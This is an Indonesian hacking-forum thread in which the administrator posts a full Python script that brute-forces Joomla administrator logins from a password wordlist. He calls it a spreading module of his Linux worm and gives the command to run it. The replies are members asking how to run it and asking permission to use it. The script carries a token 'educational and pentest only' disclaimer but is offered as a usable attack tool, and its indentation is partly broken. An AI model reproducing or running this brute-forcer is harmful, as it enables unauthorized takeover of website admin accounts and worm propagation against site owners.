Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 06-19-2013, 11:38 PM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Programming › Python v
« Previous 1 2 3 4 Next »

joomla brute force (one of linux worm module for spread)

Home General Computer Multimedia Business Lounge

Post Reply 
Tweet
Threaded Mode | Linear Mode
joomla brute force (one of linux worm module for spread)
02-14-2011, 03:43 AM (This post was last modified: 02-14-2011 03:48 AM by mywisdom.)
Post: #1
mywisdom Offline
Administrator
*******
Administrators
Posts: 923
Joined: Dec 2009
Reputation: 51
joomla brute force (one of linux worm module for spread)
source code dengan indent asli
http://sowiesoft.com/.../joomlabrute.py

cara pake: ./joomlabrute.py username_admin password_list mywisdom_ganteng
Code:
#!/usr/bin/python
# Joomla bruteforcer tools
# This was written for educational purpose and pentest only. Use it at your own risk.
# Author will not be responsible for any damage !!
# Toolname     : joomlabruteforce.py inspired by wordpress brute force by gunslinger
# Pretty much one of my worm module
# Programmer     : mywisdom (http://myw1sd0m.blogspot.com)
# Version    : 1.0
#tis is one of my linux w0rm module for user enumerations, i've dual os worm
#thanks to: gunslinger,flyf666,petimati,kiddies,xtr0nic,c0mrade,n0te,v3n0m,iblis muda,cr4wl3r
#thanks to: isa m said, whitecyber
#thanks to all devilzc0de crews and members, all jasakom,jatimcrew crews and members
# Date        : Feb 14 th  2011
import re
import os
import sys
import random
import warnings
import time
global target,url_worm,words

try:
    import mechanize
except ImportError:
    print "[*] Please install mechanize python module first"
    sys.exit(1)
except KeyboardInterrupt:
    print "\n[*] Exiting program...\n"
    sys.exit(1)
try:
    import cookielib
except ImportError:
    print "[*] Please install cookielib python module first"
    sys.exit(1)
except KeyboardInterrupt:
    print "\n[*] Exiting program...\n"
    sys.exit(1)

warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning)

for arg in sys.argv:
   try:    
      target=sys.argv[1]
      username=sys.argv[2]
      wordlist=sys.argv[3]
      url_worm=sys.argv[4]
      targetsite="http://"+target+"/administrator"      
   except Exception, err:
      print "ada error nih tar lo ada kesalahan"    

def bruteforce(word):
             global url_worm
        success='Logout'
        br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
        opensite = br.open(targetsite)
        br.select_form(nr=0)
        br.form['username'] = username
        br.form['passwd'] = word
        br.submit()
        response = br.response().read()
        if success in response:
            print "\n\n[*] Logging in success..."
            print "[*] Username : %s" % (username)
            print "[*] Password : %s\n" % (word)
            sys.exit(1)
            print "w00t"
        else:
                    print "failed login using"+username+ " and password:"+word
             

def main():
    global br
    global words
    try:
        br = mechanize.Browser()
        cj = cookielib.LWPCookieJar()
        br.set_cookiejar(cj)
        br.set_handle_equiv(True)
        br.set_handle_gzip(True)
        br.set_handle_redirect(True)
        br.set_handle_referer(True)
        br.set_handle_robots(False)
        br.set_debug_http(False)
        br.set_debug_redirects(False)
        br.set_debug_redirects(False)
        br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
    except KeyboardInterrupt:
        print "\n[*] Exiting program...\n"
        sys.exit(1)
        

main()
global word
try:
        file = open(wordlist, "r")
        words            = file.readlines()
except KeyboardInterrupt:
        print "\n[*] Exiting program...\n"
        sys.exit(1)
        
for word in words:
        bruteforce(word.replace("\n",""))
Find all posts by this user
Quote this message in a reply
02-14-2011, 04:38 AM
Post: #2
anbu Offline
Naevy LunnyamouR
****
Global Moderators
Posts: 3,306
Joined: Feb 2010
Reputation: 52
RE: joomla brute force (one of linux worm module for spread)
pertamax


seberapa lama ne om ketawa

biasa teknik brute kan lama banget mewek
Visit this user's website Find all posts by this user
Quote this message in a reply
02-14-2011, 05:03 AM
Post: #3
helsinki Offline
./Devilz Officer
Posts: 224
Joined: Feb 2011
Reputation: 1
RE: joomla brute force (one of linux worm module for spread)
om wisdom,, cara pakainya gimana yak?
$python joomlabrute.py ?
kok ga ada helpnya :) maklum om nubi
Find all posts by this user
Quote this message in a reply
02-14-2011, 05:11 AM
Post: #4
anbu Offline
Naevy LunnyamouR
****
Global Moderators
Posts: 3,306
Joined: Feb 2010
Reputation: 52
RE: joomla brute force (one of linux worm module for spread)
(02-14-2011 05:03 AM)helsinki Wrote:  om wisdom,, cara pakainya gimana yak?
$python joomlabrute.py ?
kok ga ada helpnya :) maklum om nubi

instal python dulu kak smangat
Visit this user's website Find all posts by this user
Quote this message in a reply
02-14-2011, 06:49 AM
Post: #5
n0wn Offline
./Devilz Advisor
Posts: 583
Joined: Dec 2010
Reputation: 9
RE: joomla brute force (one of linux worm module for spread)
(02-14-2011 03:43 AM)mywisdom Wrote:  cara pake: ./joomlabrute.py username_admin password_list mywisdom_ganteng

waw...

smangatsmangat

izin pakai om

hmmhmmhmm
Visit this user's website Find all posts by this user
Quote this message in a reply
02-15-2011, 08:12 AM
Post: #6
helsinki Offline
./Devilz Officer
Posts: 224
Joined: Feb 2011
Reputation: 1
RE: joomla brute force (one of linux worm module for spread)
(02-14-2011 05:11 AM)ade yonatan Wrote:  
(02-14-2011 05:03 AM)helsinki Wrote:  om wisdom,, cara pakainya gimana yak?
$python joomlabrute.py ?
kok ga ada helpnya :) maklum om nubi

instal python dulu kak smangat
udah kak... bawaan dari ubuntu :)

(02-14-2011 06:49 AM)n0wn Wrote:  
(02-14-2011 03:43 AM)mywisdom Wrote:  cara pake: ./joomlabrute.py username_admin password_list mywisdom_ganteng

mewek gak teliti baca tritnya tadi om,, maaff.....

waw...

smangatsmangat

izin pakai om

hmmhmmhmm
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
Thumbs Down Belajaran python (brute hash) xc0debatch 9 556 12-11-2012 09:30 AM
Last Post: coolkuya

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 06-19-2013, 11:38 PM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE